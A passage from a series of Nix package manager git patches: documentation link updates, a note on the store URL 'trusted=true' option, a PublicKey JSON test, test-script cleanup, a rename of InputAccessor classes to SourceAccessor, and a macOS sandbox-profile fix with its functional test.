example. - A path relative to the file containing this Nix expression + A [path](@docroot@/language/values.md#type-path) relative to the file containing this Nix expression @@ -190,7 +202,7 @@ This is an incomplete overview of language features, by example. - A home path. Evaluates to the `"/.config"`. + A home [path](@docroot@/language/values.md#type-path). Evaluates to the `"/.config"`. @@ -202,7 +214,7 @@ This is an incomplete overview of language features, by example. - Search path for Nix files. Value determined by [`$NIX_PATH` environment variable](../command-ref/env-common.md#env-NIX_PATH). + A [lookup path](@docroot@/language/constructs/lookup-path.md) for Nix files. Value determined by [`$NIX_PATH` environment variable](../command-ref/env-common.md#env-NIX_PATH). @@ -226,7 +238,7 @@ This is an incomplete overview of language features, by example. - A set with attributes named `x` and `y` + An [attribute set](@docroot@/language/values.md#attribute-set) with attributes named `x` and `y` @@ -250,7 +262,7 @@ This is an incomplete overview of language features, by example. - A recursive set, equivalent to `{ x = "foo"; y = "foobar"; }` + A [recursive set](@docroot@/language/constructs.md#recursive-sets), equivalent to `{ x = "foo"; y = "foobar"; }`. @@ -266,7 +278,7 @@ This is an incomplete overview of language features, by example. - Lists with three elements. + [Lists](@docroot@/language/values.md#list) with three elements. @@ -350,7 +362,7 @@ This is an incomplete overview of language features, by example. - Attribute selection (evaluates to `1`) + [Attribute selection](@docroot@/language/values.md#attribute-set) (evaluates to `1`) @@ -362,7 +374,7 @@ This is an incomplete overview of language features, by example. - Attribute selection with default (evaluates to `3`) + [Attribute selection](@docroot@/language/values.md#attribute-set) with default (evaluates to `3`) @@ -398,7 +410,7 @@ This is an incomplete overview of language features, by example. - Conditional expression + [Conditional expression](@docroot@/language/constructs.md#conditionals). @@ -410,7 +422,7 @@ This is an incomplete overview of language features, by example. - Assertion check (evaluates to `"yes!"`). + [Assertion](@docroot@/language/constructs.md#assertions) check (evaluates to `"yes!"`). @@ -422,7 +434,7 @@ This is an incomplete overview of language features, by example. - Variable definition + Variable definition. See [`let`-expressions](@docroot@/language/constructs.md#let-expressions). @@ -434,7 +446,9 @@ This is an incomplete overview of language features, by example. - Add all attributes from the given set to the scope (evaluates to `1`) + Add all attributes from the given set to the scope (evaluates to `1`). + + See [`with`-expressions](@docroot@/language/constructs.md#with-expressions) for details and shadowing caveats. @@ -447,7 +461,8 @@ This is an incomplete overview of language features, by example. Adds the variables to the current scope (attribute set or `let` binding). - Desugars to `pkgs = pkgs; src = src;` + Desugars to `pkgs = pkgs; src = src;`. + See [Inheriting attributes](@docroot@/language/constructs.md#inheriting-attributes). @@ -460,14 +475,15 @@ This is an incomplete overview of language features, by example. Adds the attributes, from the attribute set in parentheses, to the current scope (attribute set or `let` binding). - Desugars to `lib = pkgs.lib; stdenv = pkgs.stdenv;` + Desugars to `lib = pkgs.lib; stdenv = pkgs.stdenv;`. + See [Inheriting attributes](@docroot@/language/constructs.md#inheriting-attributes). - *Functions (lambdas)* + *[Functions](@docroot@/language/constructs.md#functions) (lambdas)* @@ -484,7 +500,7 @@ This is an incomplete overview of language features, by example. - A function that expects an integer and returns it increased by 1 + A [function](@docroot@/language/constructs.md#functions) that expects an integer and returns it increased by 1. @@ -496,7 +512,7 @@ This is an incomplete overview of language features, by example. - Curried function, equivalent to `x: (y: x + y)`. Can be used like a function that takes two arguments and returns their sum. + Curried [function](@docroot@/language/constructs.md#functions), equivalent to `x: (y: x + y)`. Can be used like a function that takes two arguments and returns their sum. @@ -508,7 +524,7 @@ This is an incomplete overview of language features, by example. - A function call (evaluates to 101) + A [function](@docroot@/language/constructs.md#functions) call (evaluates to 101) @@ -520,7 +536,7 @@ This is an incomplete overview of language features, by example. - A function bound to a variable and subsequently called by name (evaluates to 103) + A [function](@docroot@/language/constructs.md#functions) bound to a variable and subsequently called by name (evaluates to 103) @@ -532,7 +548,7 @@ This is an incomplete overview of language features, by example. - A function that expects a set with required attributes `x` and `y` and concatenates them + A [function](@docroot@/language/constructs.md#functions) that expects a set with required attributes `x` and `y` and concatenates them @@ -544,7 +560,7 @@ This is an incomplete overview of language features, by example. - A function that expects a set with required attribute `x` and optional `y`, using `"bar"` as default value for `y` + A [function](@docroot@/language/constructs.md#functions) that expects a set with required attribute `x` and optional `y`, using `"bar"` as default value for `y` @@ -556,7 +572,7 @@ This is an incomplete overview of language features, by example. - A function that expects a set with required attributes `x` and `y` and ignores any other attributes + A [function](@docroot@/language/constructs.md#functions) that expects a set with required attributes `x` and `y` and ignores any other attributes @@ -570,7 +586,7 @@ This is an incomplete overview of language features, by example. - A function that expects a set with required attributes `x` and `y`, and binds the whole set to `args` + A [function](@docroot@/language/constructs.md#functions) that expects a set with required attributes `x` and `y`, and binds the whole set to `args` @@ -594,7 +610,8 @@ This is an incomplete overview of language features, by example. - Load and return Nix expression in given file + Load and return Nix expression in given file. + See [import](@docroot@/language/builtins.md#builtins-import). @@ -606,7 +623,8 @@ This is an incomplete overview of language features, by example. - Apply a function to every element of a list (evaluates to `[ 2 4 6 ]`) + Apply a function to every element of a list (evaluates to `[ 2 4 6 ]`). + See [`map`](@docroot@/language/builtins.md#builtins-map). From 71c66de227c13f4ba6cf36d922c079ada259b742 Mon Sep 17 00:00:00 2001 From: Charlie Moog Date: Sun, 5 May 2024 17:37:04 +0000 Subject: [PATCH 0548/1251] document store url `trusted=true` option behavior --- src/libstore/globals.hh | 1 + 1 file changed, 1 insertion(+) diff --git a/src/libstore/globals.hh b/src/libstore/globals.hh index 933fc2e5a..0c71a7515 100644 --- a/src/libstore/globals.hh +++ b/src/libstore/globals.hh @@ -782,6 +782,7 @@ public: - the store object has been signed using a key in the trusted keys list - the [`require-sigs`](#conf-require-sigs) option has been set to `false` + - the store URL is configured with `trusted=true` - the store object is [content-addressed](@docroot@/glossary.md#gloss-content-addressed-store-object) )", {"binary-cache-public-keys"}}; From feb1d10f60a2b9ae9cce48817b6a209a7ab007c8 Mon Sep 17 00:00:00 2001 From: HaeNoe <57222371+haenoe@users.noreply.github.com> Date: Mon, 6 May 2024 15:50:26 +0200 Subject: [PATCH 0549/1251] _not_ round-trip tests for `fetchers::PublicKey` default `type` (#10637) Another continuation of #10602 --- tests/unit/libfetchers/data/public-key/noRoundTrip.json | 3 +++ tests/unit/libfetchers/public-key.cc | 9 +++++++++ 2 files changed, 12 insertions(+) create mode 100644 tests/unit/libfetchers/data/public-key/noRoundTrip.json diff --git a/tests/unit/libfetchers/data/public-key/noRoundTrip.json b/tests/unit/libfetchers/data/public-key/noRoundTrip.json new file mode 100644 index 000000000..4dcbf9148 --- /dev/null +++ b/tests/unit/libfetchers/data/public-key/noRoundTrip.json @@ -0,0 +1,3 @@ +{ + "key": "ABCDE" +} diff --git a/tests/unit/libfetchers/public-key.cc b/tests/unit/libfetchers/public-key.cc index 941ae9db7..7b763bb05 100644 --- a/tests/unit/libfetchers/public-key.cc +++ b/tests/unit/libfetchers/public-key.cc @@ -42,4 +42,13 @@ TEST_JSON(PublicKeyTest, simple, (fetchers::PublicKey { .type = "ssh-rsa", .key TEST_JSON(PublicKeyTest, defaultType, fetchers::PublicKey { .key = "ABCDE" }) #undef TEST_JSON + +TEST_F(PublicKeyTest, PublicKey_noRoundTrip_from_json) { + readTest("noRoundTrip.json", [&](const auto & encoded_) { + fetchers::PublicKey expected = { .type = "ssh-ed25519", .key = "ABCDE" }; + fetchers::PublicKey got = nlohmann::json::parse(encoded_); + ASSERT_EQ(got, nlohmann::json(expected)); + }); +} + } From 27a02bc7d10821f5788e4f2752d56e3f7aa19086 Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Mon, 6 May 2024 15:17:27 +0200 Subject: [PATCH 0550/1251] tests: remove unneeded indirection MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit the additional function calls obscured the actual logic Co-authored-by: Théophane Hufschmitt <7226587+thufschmitt@users.noreply.github.com> --- mk/common-test.sh | 8 -------- mk/debug-test.sh | 4 ++-- mk/run-test.sh | 4 ++-- 3 files changed, 4 insertions(+), 12 deletions(-) diff --git a/mk/common-test.sh b/mk/common-test.sh index 2783d293b..2abea7887 100644 --- a/mk/common-test.sh +++ b/mk/common-test.sh @@ -17,11 +17,3 @@ TESTS_ENVIRONMENT=( run () { cd "$(dirname $1)" && env "${TESTS_ENVIRONMENT[@]}" $BASH -x -e -u -o pipefail $(basename $1) } - -init_test () { - run "$init" 2>/dev/null > /dev/null -} - -run_test_proper () { - run "$test" -} diff --git a/mk/debug-test.sh b/mk/debug-test.sh index 52482c01e..1cd6f9dce 100755 --- a/mk/debug-test.sh +++ b/mk/debug-test.sh @@ -9,6 +9,6 @@ dir="$(dirname "${BASH_SOURCE[0]}")" source "$dir/common-test.sh" if [ -n "$init" ]; then - (init_test) + (run "$init" 2>/dev/null > /dev/null) fi -run_test_proper +run "$test" diff --git a/mk/run-test.sh b/mk/run-test.sh index da9c5a473..177a452e8 100755 --- a/mk/run-test.sh +++ b/mk/run-test.sh @@ -23,9 +23,9 @@ fi run_test () { if [ -n "$init" ]; then - (init_test 2>/dev/null > /dev/null) + (run "$init" 2>/dev/null > /dev/null) fi - log="$(run_test_proper 2>&1)" && status=0 || status=$? + log="$(run "$test" 2>&1)" && status=0 || status=$? } run_test From 709cd44d3e30f37ac288f143524e47b64cb85546 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 6 May 2024 17:29:03 +0200 Subject: [PATCH 0551/1251] Rename remaining instances of "InputAccessor" to "SourceAccessor" --- maintainers/flake-module.nix | 12 ++++---- src/libexpr/eval.cc | 14 ++++----- src/libexpr/flake/call-flake.nix | 2 +- ...cessor.cc => filtering-source-accessor.cc} | 28 ++++++++--------- ...cessor.hh => filtering-source-accessor.hh} | 20 ++++++------- src/libfetchers/git-utils.cc | 30 +++++++++---------- src/libfetchers/git-utils.hh | 2 +- src/libfetchers/mounted-input-accessor.hh | 9 ------ ...accessor.cc => mounted-source-accessor.cc} | 10 +++---- src/libfetchers/mounted-source-accessor.hh | 9 ++++++ src/libfetchers/unix/git.cc | 6 ++-- src/libutil/source-accessor.hh | 2 +- 12 files changed, 72 insertions(+), 72 deletions(-) rename src/libfetchers/{filtering-input-accessor.cc => filtering-source-accessor.cc} (61%) rename src/libfetchers/{filtering-input-accessor.hh => filtering-source-accessor.hh} (73%) delete mode 100644 src/libfetchers/mounted-input-accessor.hh rename src/libfetchers/{mounted-input-accessor.cc => mounted-source-accessor.cc} (86%) create mode 100644 src/libfetchers/mounted-source-accessor.hh diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix index d35b03148..fdac87be3 100644 --- a/maintainers/flake-module.nix +++ b/maintainers/flake-module.nix @@ -113,15 +113,15 @@ ''^src/libfetchers/fetch-to-store\.cc$'' ''^src/libfetchers/fetchers\.cc$'' ''^src/libfetchers/fetchers\.hh$'' - ''^src/libfetchers/filtering-input-accessor\.cc$'' - ''^src/libfetchers/filtering-input-accessor\.hh$'' - ''^src/libfetchers/fs-input-accessor\.cc$'' - ''^src/libfetchers/fs-input-accessor\.hh$'' + ''^src/libfetchers/filtering-source-accessor\.cc$'' + ''^src/libfetchers/filtering-source-accessor\.hh$'' + ''^src/libfetchers/fs-source-accessor\.cc$'' + ''^src/libfetchers/fs-source-accessor\.hh$'' ''^src/libfetchers/git-utils\.cc$'' ''^src/libfetchers/git-utils\.hh$'' ''^src/libfetchers/github\.cc$'' ''^src/libfetchers/indirect\.cc$'' - ''^src/libfetchers/memory-input-accessor\.cc$'' + ''^src/libfetchers/memory-source-accessor\.cc$'' ''^src/libfetchers/path\.cc$'' ''^src/libfetchers/registry\.cc$'' ''^src/libfetchers/registry\.hh$'' @@ -302,7 +302,7 @@ ''^src/libutil/hash\.hh$'' ''^src/libutil/hilite\.cc$'' ''^src/libutil/hilite\.hh$'' - ''^src/libutil/input-accessor\.hh$'' + ''^src/libutil/source-accessor\.hh$'' ''^src/libutil/json-impls\.hh$'' ''^src/libutil/json-utils\.cc$'' ''^src/libutil/json-utils\.hh$'' diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index 6fd60084d..ad6cdc6d2 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -15,7 +15,7 @@ #include "function-trace.hh" #include "profiles.hh" #include "print.hh" -#include "filtering-input-accessor.hh" +#include "filtering-source-accessor.hh" #include "memory-source-accessor.hh" #include "signals.hh" #include "gc-small-vector.hh" @@ -399,7 +399,7 @@ EvalState::EvalState( , emptyBindings(0) , rootFS( evalSettings.restrictEval || evalSettings.pureEval - ? ref(AllowListInputAccessor::create(makeFSSourceAccessor(), {}, + ? ref(AllowListSourceAccessor::create(makeFSSourceAccessor(), {}, [](const CanonPath & path) -> RestrictedPathError { auto modeInformation = evalSettings.pureEval ? "in pure evaluation mode (use '--impure' to override)" @@ -460,7 +460,7 @@ EvalState::EvalState( } /* Allow access to all paths in the search path. */ - if (rootFS.dynamic_pointer_cast()) + if (rootFS.dynamic_pointer_cast()) for (auto & i : lookupPath.elements) resolveLookupPathPath(i.path, true); @@ -480,13 +480,13 @@ EvalState::~EvalState() void EvalState::allowPath(const Path & path) { - if (auto rootFS2 = rootFS.dynamic_pointer_cast()) + if (auto rootFS2 = rootFS.dynamic_pointer_cast()) rootFS2->allowPrefix(CanonPath(path)); } void EvalState::allowPath(const StorePath & storePath) { - if (auto rootFS2 = rootFS.dynamic_pointer_cast()) + if (auto rootFS2 = rootFS.dynamic_pointer_cast()) rootFS2->allowPrefix(CanonPath(store->toRealPath(storePath))); } @@ -540,13 +540,13 @@ void EvalState::checkURI(const std::string & uri) /* If the URI is a path, then check it against allowedPaths as well. */ if (hasPrefix(uri, "/")) { - if (auto rootFS2 = rootFS.dynamic_pointer_cast()) + if (auto rootFS2 = rootFS.dynamic_pointer_cast()) rootFS2->checkAccess(CanonPath(uri)); return; } if (hasPrefix(uri, "file://")) { - if (auto rootFS2 = rootFS.dynamic_pointer_cast()) + if (auto rootFS2 = rootFS.dynamic_pointer_cast()) rootFS2->checkAccess(CanonPath(uri.substr(7))); return; } diff --git a/src/libexpr/flake/call-flake.nix b/src/libexpr/flake/call-flake.nix index d0ccb1e37..a411564df 100644 --- a/src/libexpr/flake/call-flake.nix +++ b/src/libexpr/flake/call-flake.nix @@ -4,7 +4,7 @@ lockFileStr: # A mapping of lock file node IDs to { sourceInfo, subdir } attrsets, -# with sourceInfo.outPath providing an InputAccessor to a previously +# with sourceInfo.outPath providing an SourceAccessor to a previously # fetched tree. This is necessary for possibly unlocked inputs, in # particular the root input, but also --override-inputs pointing to # unlocked trees. diff --git a/src/libfetchers/filtering-input-accessor.cc b/src/libfetchers/filtering-source-accessor.cc similarity index 61% rename from src/libfetchers/filtering-input-accessor.cc rename to src/libfetchers/filtering-source-accessor.cc index d2b47b5e5..dfd9e536d 100644 --- a/src/libfetchers/filtering-input-accessor.cc +++ b/src/libfetchers/filtering-source-accessor.cc @@ -1,25 +1,25 @@ -#include "filtering-input-accessor.hh" +#include "filtering-source-accessor.hh" namespace nix { -std::string FilteringInputAccessor::readFile(const CanonPath & path) +std::string FilteringSourceAccessor::readFile(const CanonPath & path) { checkAccess(path); return next->readFile(prefix / path); } -bool FilteringInputAccessor::pathExists(const CanonPath & path) +bool FilteringSourceAccessor::pathExists(const CanonPath & path) { return isAllowed(path) && next->pathExists(prefix / path); } -std::optional FilteringInputAccessor::maybeLstat(const CanonPath & path) +std::optional FilteringSourceAccessor::maybeLstat(const CanonPath & path) { checkAccess(path); return next->maybeLstat(prefix / path); } -SourceAccessor::DirEntries FilteringInputAccessor::readDirectory(const CanonPath & path) +SourceAccessor::DirEntries FilteringSourceAccessor::readDirectory(const CanonPath & path) { checkAccess(path); DirEntries entries; @@ -30,18 +30,18 @@ SourceAccessor::DirEntries FilteringInputAccessor::readDirectory(const CanonPath return entries; } -std::string FilteringInputAccessor::readLink(const CanonPath & path) +std::string FilteringSourceAccessor::readLink(const CanonPath & path) { checkAccess(path); return next->readLink(prefix / path); } -std::string FilteringInputAccessor::showPath(const CanonPath & path) +std::string FilteringSourceAccessor::showPath(const CanonPath & path) { return displayPrefix + next->showPath(prefix / path) + displaySuffix; } -void FilteringInputAccessor::checkAccess(const CanonPath & path) +void FilteringSourceAccessor::checkAccess(const CanonPath & path) { if (!isAllowed(path)) throw makeNotAllowedError @@ -49,15 +49,15 @@ void FilteringInputAccessor::checkAccess(const CanonPath & path) : RestrictedPathError("access to path '%s' is forbidden", showPath(path)); } -struct AllowListInputAccessorImpl : AllowListInputAccessor +struct AllowListSourceAccessorImpl : AllowListSourceAccessor { std::set allowedPrefixes; - AllowListInputAccessorImpl( + AllowListSourceAccessorImpl( ref next, std::set && allowedPrefixes, MakeNotAllowedError && makeNotAllowedError) - : AllowListInputAccessor(SourcePath(next), std::move(makeNotAllowedError)) + : AllowListSourceAccessor(SourcePath(next), std::move(makeNotAllowedError)) , allowedPrefixes(std::move(allowedPrefixes)) { } @@ -72,15 +72,15 @@ struct AllowListInputAccessorImpl : AllowListInputAccessor } }; -ref AllowListInputAccessor::create( +ref AllowListSourceAccessor::create( ref next, std::set && allowedPrefixes, MakeNotAllowedError && makeNotAllowedError) { - return make_ref(next, std::move(allowedPrefixes), std::move(makeNotAllowedError)); + return make_ref(next, std::move(allowedPrefixes), std::move(makeNotAllowedError)); } -bool CachingFilteringInputAccessor::isAllowed(const CanonPath & path) +bool CachingFilteringSourceAccessor::isAllowed(const CanonPath & path) { auto i = cache.find(path); if (i != cache.end()) return i->second; diff --git a/src/libfetchers/filtering-input-accessor.hh b/src/libfetchers/filtering-source-accessor.hh similarity index 73% rename from src/libfetchers/filtering-input-accessor.hh rename to src/libfetchers/filtering-source-accessor.hh index ddf18eea4..9ec7bc21f 100644 --- a/src/libfetchers/filtering-input-accessor.hh +++ b/src/libfetchers/filtering-source-accessor.hh @@ -12,17 +12,17 @@ namespace nix { typedef std::function MakeNotAllowedError; /** - * An abstract wrapping `InputAccessor` that performs access + * An abstract wrapping `SourceAccessor` that performs access * control. Subclasses should override `isAllowed()` to implement an * access control policy. The error message is customized at construction. */ -struct FilteringInputAccessor : SourceAccessor +struct FilteringSourceAccessor : SourceAccessor { ref next; CanonPath prefix; MakeNotAllowedError makeNotAllowedError; - FilteringInputAccessor(const SourcePath & src, MakeNotAllowedError && makeNotAllowedError) + FilteringSourceAccessor(const SourcePath & src, MakeNotAllowedError && makeNotAllowedError) : next(src.accessor) , prefix(src.path) , makeNotAllowedError(std::move(makeNotAllowedError)) @@ -55,32 +55,32 @@ struct FilteringInputAccessor : SourceAccessor }; /** - * A wrapping `InputAccessor` that checks paths against a set of + * A wrapping `SourceAccessor` that checks paths against a set of * allowed prefixes. */ -struct AllowListInputAccessor : public FilteringInputAccessor +struct AllowListSourceAccessor : public FilteringSourceAccessor { /** * Grant access to the specified prefix. */ virtual void allowPrefix(CanonPath prefix) = 0; - static ref create( + static ref create( ref next, std::set && allowedPrefixes, MakeNotAllowedError && makeNotAllowedError); - using FilteringInputAccessor::FilteringInputAccessor; + using FilteringSourceAccessor::FilteringSourceAccessor; }; /** - * A wrapping `InputAccessor` mix-in where `isAllowed()` caches the result of virtual `isAllowedUncached()`. + * A wrapping `SourceAccessor` mix-in where `isAllowed()` caches the result of virtual `isAllowedUncached()`. */ -struct CachingFilteringInputAccessor : FilteringInputAccessor +struct CachingFilteringSourceAccessor : FilteringSourceAccessor { std::map cache; - using FilteringInputAccessor::FilteringInputAccessor; + using FilteringSourceAccessor::FilteringSourceAccessor; bool isAllowed(const CanonPath & path) override; diff --git a/src/libfetchers/git-utils.cc b/src/libfetchers/git-utils.cc index a91587cb4..160d1ac05 100644 --- a/src/libfetchers/git-utils.cc +++ b/src/libfetchers/git-utils.cc @@ -53,7 +53,7 @@ bool operator == (const git_oid & oid1, const git_oid & oid2) namespace nix { -struct GitInputAccessor; +struct GitSourceAccessor; // Some wrapper types that ensure that the git_*_free functions get called. template @@ -330,9 +330,9 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this } /** - * A 'GitInputAccessor' with no regard for export-ignore or any other transformations. + * A 'GitSourceAccessor' with no regard for export-ignore or any other transformations. */ - ref getRawAccessor(const Hash & rev); + ref getRawAccessor(const Hash & rev); ref getAccessor(const Hash & rev, bool exportIgnore) override; @@ -473,12 +473,12 @@ ref GitRepo::openRepo(const std::filesystem::path & path, bool create, /** * Raw git tree input accessor. */ -struct GitInputAccessor : SourceAccessor +struct GitSourceAccessor : SourceAccessor { ref repo; Tree root; - GitInputAccessor(ref repo_, const Hash & rev) + GitSourceAccessor(ref repo_, const Hash & rev) : repo(repo_) , root(peelObject(*repo, lookupObject(*repo, hashToOID(rev)).get(), GIT_OBJECT_TREE)) { @@ -702,12 +702,12 @@ struct GitInputAccessor : SourceAccessor } }; -struct GitExportIgnoreInputAccessor : CachingFilteringInputAccessor { +struct GitExportIgnoreSourceAccessor : CachingFilteringSourceAccessor { ref repo; std::optional rev; - GitExportIgnoreInputAccessor(ref repo, ref next, std::optional rev) - : CachingFilteringInputAccessor(next, [&](const CanonPath & path) { + GitExportIgnoreSourceAccessor(ref repo, ref next, std::optional rev) + : CachingFilteringSourceAccessor(next, [&](const CanonPath & path) { return RestrictedPathError(fmt("'%s' does not exist because it was fetched with exportIgnore enabled", path)); }) , repo(repo) @@ -918,18 +918,18 @@ struct GitFileSystemObjectSinkImpl : GitFileSystemObjectSink } }; -ref GitRepoImpl::getRawAccessor(const Hash & rev) +ref GitRepoImpl::getRawAccessor(const Hash & rev) { auto self = ref(shared_from_this()); - return make_ref(self, rev); + return make_ref(self, rev); } ref GitRepoImpl::getAccessor(const Hash & rev, bool exportIgnore) { auto self = ref(shared_from_this()); - ref rawGitAccessor = getRawAccessor(rev); + ref rawGitAccessor = getRawAccessor(rev); if (exportIgnore) { - return make_ref(self, rawGitAccessor, rev); + return make_ref(self, rawGitAccessor, rev); } else { return rawGitAccessor; @@ -940,18 +940,18 @@ ref GitRepoImpl::getAccessor(const WorkdirInfo & wd, bool export { auto self = ref(shared_from_this()); /* In case of an empty workdir, return an empty in-memory tree. We - cannot use AllowListInputAccessor because it would return an + cannot use AllowListSourceAccessor because it would return an error for the root (and we can't add the root to the allow-list since that would allow access to all its children). */ ref fileAccessor = wd.files.empty() ? makeEmptySourceAccessor() - : AllowListInputAccessor::create( + : AllowListSourceAccessor::create( makeFSSourceAccessor(path), std::set { wd.files }, std::move(makeNotAllowedError)).cast(); if (exportIgnore) - return make_ref(self, fileAccessor, std::nullopt); + return make_ref(self, fileAccessor, std::nullopt); else return fileAccessor; } diff --git a/src/libfetchers/git-utils.hh b/src/libfetchers/git-utils.hh index e264b2f63..29d799554 100644 --- a/src/libfetchers/git-utils.hh +++ b/src/libfetchers/git-utils.hh @@ -1,6 +1,6 @@ #pragma once -#include "filtering-input-accessor.hh" +#include "filtering-source-accessor.hh" #include "fs-sink.hh" namespace nix { diff --git a/src/libfetchers/mounted-input-accessor.hh b/src/libfetchers/mounted-input-accessor.hh deleted file mode 100644 index 74e040f44..000000000 --- a/src/libfetchers/mounted-input-accessor.hh +++ /dev/null @@ -1,9 +0,0 @@ -#pragma once - -#include "source-accessor.hh" - -namespace nix { - -ref makeMountedInputAccessor(std::map> mounts); - -} diff --git a/src/libfetchers/mounted-input-accessor.cc b/src/libfetchers/mounted-source-accessor.cc similarity index 86% rename from src/libfetchers/mounted-input-accessor.cc rename to src/libfetchers/mounted-source-accessor.cc index 4d086c7ad..68f3a546b 100644 --- a/src/libfetchers/mounted-input-accessor.cc +++ b/src/libfetchers/mounted-source-accessor.cc @@ -1,12 +1,12 @@ -#include "mounted-input-accessor.hh" +#include "mounted-source-accessor.hh" namespace nix { -struct MountedInputAccessor : SourceAccessor +struct MountedSourceAccessor : SourceAccessor { std::map> mounts; - MountedInputAccessor(std::map> _mounts) + MountedSourceAccessor(std::map> _mounts) : mounts(std::move(_mounts)) { displayPrefix.clear(); @@ -71,9 +71,9 @@ struct MountedInputAccessor : SourceAccessor } }; -ref makeMountedInputAccessor(std::map> mounts) +ref makeMountedSourceAccessor(std::map> mounts) { - return make_ref(std::move(mounts)); + return make_ref(std::move(mounts)); } } diff --git a/src/libfetchers/mounted-source-accessor.hh b/src/libfetchers/mounted-source-accessor.hh new file mode 100644 index 000000000..45cbcb09a --- /dev/null +++ b/src/libfetchers/mounted-source-accessor.hh @@ -0,0 +1,9 @@ +#pragma once + +#include "source-accessor.hh" + +namespace nix { + +ref makeMountedSourceAccessor(std::map> mounts); + +} diff --git a/src/libfetchers/unix/git.cc b/src/libfetchers/unix/git.cc index c8fd295c0..46263c872 100644 --- a/src/libfetchers/unix/git.cc +++ b/src/libfetchers/unix/git.cc @@ -9,7 +9,7 @@ #include "pathlocks.hh" #include "processes.hh" #include "git.hh" -#include "mounted-input-accessor.hh" +#include "mounted-source-accessor.hh" #include "git-utils.hh" #include "logging.hh" #include "finally.hh" @@ -652,7 +652,7 @@ struct GitInputScheme : InputScheme if (!mounts.empty()) { mounts.insert_or_assign(CanonPath::root, accessor); - accessor = makeMountedInputAccessor(std::move(mounts)); + accessor = makeMountedSourceAccessor(std::move(mounts)); } } @@ -715,7 +715,7 @@ struct GitInputScheme : InputScheme } mounts.insert_or_assign(CanonPath::root, accessor); - accessor = makeMountedInputAccessor(std::move(mounts)); + accessor = makeMountedSourceAccessor(std::move(mounts)); } if (!repoInfo.workdirInfo.isDirty) { diff --git a/src/libutil/source-accessor.hh b/src/libutil/source-accessor.hh index 548feddfd..b3fb9fe08 100644 --- a/src/libutil/source-accessor.hh +++ b/src/libutil/source-accessor.hh @@ -190,7 +190,7 @@ ref makeEmptySourceAccessor(); /** * Exception thrown when accessing a filtered path (see - * `FilteringInputAccessor`). + * `FilteringSourceAccessor`). */ MakeError(RestrictedPathError, Error); From 9bd1191fccb80a895af976e2445fb92167d9d2f1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Mon, 6 May 2024 15:10:18 +0200 Subject: [PATCH 0552/1251] libstore: check additionalSandboxProfile Make sure that `extraSandboxProfile` is set before we check whether it's empty or not (in the `sandbox=true` case). Also adds a test case for this. Co-Authored-By: Artemis Tosini Co-Authored-By: Eelco Dolstra --- .../unix/build/local-derivation-goal.cc | 8 +++---- tests/functional/extra-sandbox-profile.nix | 19 +++++++++++++++ tests/functional/extra-sandbox-profile.sh | 23 +++++++++++++++++++ tests/functional/local.mk | 1 + 4 files changed, 47 insertions(+), 4 deletions(-) create mode 100644 tests/functional/extra-sandbox-profile.nix create mode 100644 tests/functional/extra-sandbox-profile.sh diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc index 72125cb82..0ebd22c75 100644 --- a/src/libstore/unix/build/local-derivation-goal.cc +++ b/src/libstore/unix/build/local-derivation-goal.cc @@ -177,6 +177,10 @@ void LocalDerivationGoal::killSandbox(bool getStats) void LocalDerivationGoal::tryLocalBuild() { +#if __APPLE__ + additionalSandboxProfile = parsedDrv->getStringAttr("__sandboxProfile").value_or(""); +#endif + unsigned int curBuilds = worker.getNrLocalBuilds(); if (curBuilds >= settings.maxBuildJobs) { state = &DerivationGoal::tryToBuild; @@ -495,10 +499,6 @@ void LocalDerivationGoal::startBuilder() settings.thisSystem, concatStringsSep(", ", worker.store.systemFeatures)); -#if __APPLE__ - additionalSandboxProfile = parsedDrv->getStringAttr("__sandboxProfile").value_or(""); -#endif - /* Create a temporary directory where the build will take place. */ tmpDir = createTempDir(settings.buildDir.get().value_or(""), "nix-build-" + std::string(drvPath.name()), false, false, 0700); diff --git a/tests/functional/extra-sandbox-profile.nix b/tests/functional/extra-sandbox-profile.nix new file mode 100644 index 000000000..aa680b918 --- /dev/null +++ b/tests/functional/extra-sandbox-profile.nix @@ -0,0 +1,19 @@ +{ destFile, seed }: + +with import ./config.nix; + +mkDerivation { + name = "simple"; + __sandboxProfile = '' + # Allow writing any file in the filesystem + (allow file*) + ''; + inherit seed; + buildCommand = '' + ( + set -x + touch ${destFile} + touch $out + ) + ''; +} diff --git a/tests/functional/extra-sandbox-profile.sh b/tests/functional/extra-sandbox-profile.sh new file mode 100644 index 000000000..ac3ca036f --- /dev/null +++ b/tests/functional/extra-sandbox-profile.sh @@ -0,0 +1,23 @@ +source common.sh + +if [[ $(uname) != Darwin ]]; then skipTest "Need Darwin"; fi + +DEST_FILE="${TEST_ROOT}/foo" + +testSandboxProfile () ( + set -e + + sandboxMode="$1" + + rm -f "${DEST_FILE}" + nix-build --no-out-link ./extra-sandbox-profile.nix \ + --option sandbox "$sandboxMode" \ + --argstr seed "$RANDOM" \ + --argstr destFile "${DEST_FILE}" + + ls -l "${DEST_FILE}" +) + +testSandboxProfile "false" +expectStderr 2 testSandboxProfile "true" +testSandboxProfile "relaxed" diff --git a/tests/functional/local.mk b/tests/functional/local.mk index ca9837d32..65ab20f9a 100644 --- a/tests/functional/local.mk +++ b/tests/functional/local.mk @@ -130,6 +130,7 @@ nix_tests = \ nested-sandboxing.sh \ impure-env.sh \ debugger.sh \ + extra-sandbox-profile.sh \ help.sh ifeq ($(HAVE_LIBCPUID), 1) From 020edac1ca3de964e36bda2841e47433f0f9db6c Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Fri, 19 Apr 2024 14:58:10 +0200 Subject: [PATCH 0553/1251] doc/values: Improve Path See https://github.com/NixOS/nix/issues/8738 for a more pointed criticism of absolute paths. --- doc/manual/src/language/values.md | 49 ++++++++++++++++++------------- 1 file changed, 29 insertions(+), 20 deletions(-) diff --git a/doc/manual/src/language/values.md b/doc/manual/src/language/values.md index d4338e91e..2b5f9bf93 100644 --- a/doc/manual/src/language/values.md +++ b/doc/manual/src/language/values.md @@ -92,39 +92,48 @@ - Path - *Paths*, e.g., `/bin/sh` or 